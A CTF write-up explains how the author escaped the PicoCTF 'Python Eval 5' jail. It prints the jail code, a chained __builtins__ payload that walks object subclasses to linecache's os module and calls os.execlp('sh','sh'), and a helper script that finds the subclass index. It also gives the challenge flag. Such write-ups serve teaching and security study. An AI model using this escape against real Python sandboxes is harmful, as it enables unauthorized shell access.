May 06, 2013

Write-up: PicoCTF Python Eval 5


Introduction

This challenge asked us to bypass a Python Jail. The script starts removing all built-in stuff from the interpreter and executes our code using ‘exec’.

The goal is to get a shell so we can read the flag file (as we do not know the file name).

Here is the code:

#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
  try:
    d = {'x':None}
    exec 'x='+_raw_input()[:50] in d
    print 'Return Value:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e

The solution took a big amount of manual searching.

The one interesting thing to comment about is how to bypass the 50 chars limit for the string to be executed (I needed 88 chars for my payload).

In the scope of execution of exec there will be a ‘builtins’ dictionary created. It is empty, but it is there. You can use this to create local symbols that can be used. For example:

__builtins__['a']=().__class__.__base__
a.__subclasses__()

In order to change the ‘a’ symbol thou, you have to do it via the ‘builtins’ dictionary.

__builtins__['a']=().__class__.__base__
__builtins__['a']=a.__subclasses__()

So like this you can bypass those 50 chars ;)

At the end, my solution looked like this:

__builtins__['a']=(1).__class__.__base__
__builtins__['a']=a.__subclasses__()
__builtins__['a']=a[53].__init__
__builtins__['a']=a.__globals__['linecache']
a.os.execlp('sh','sh')

Finding that linecache global was really taking time to do manually (the ‘subclasses’ dictionary has too many entries), so I developed this small script to help me (I ran this on the local machine to identify what indexes had the linecache entry):

x=[]
z=().__class__.__base__.__subclasses__()
for y in range(len(z)):
    try:
           if z[y].__init__.__globals__['linecache']: x.append(y)
    except Exception,e:
            pass

This has returned me the following:

>>> x
[52, 53]
>>> z[52]
<class 'warnings.WarningMessage'>
>>> z[53]
<class 'warnings.catch_warnings'>

So now you know what is that index 53 used above.

Thanks to p1ra for the hint on ‘base’ and sigsegv for the nice links :)

The flag was: you_are_the_pyeval_master

References

Nice readings on the topic that helped me figure this one out.

http://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/

http://sysexit.wordpress.com/2012/10/26/hacklu-ctf-2012-python-jail-200-write-up/

http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/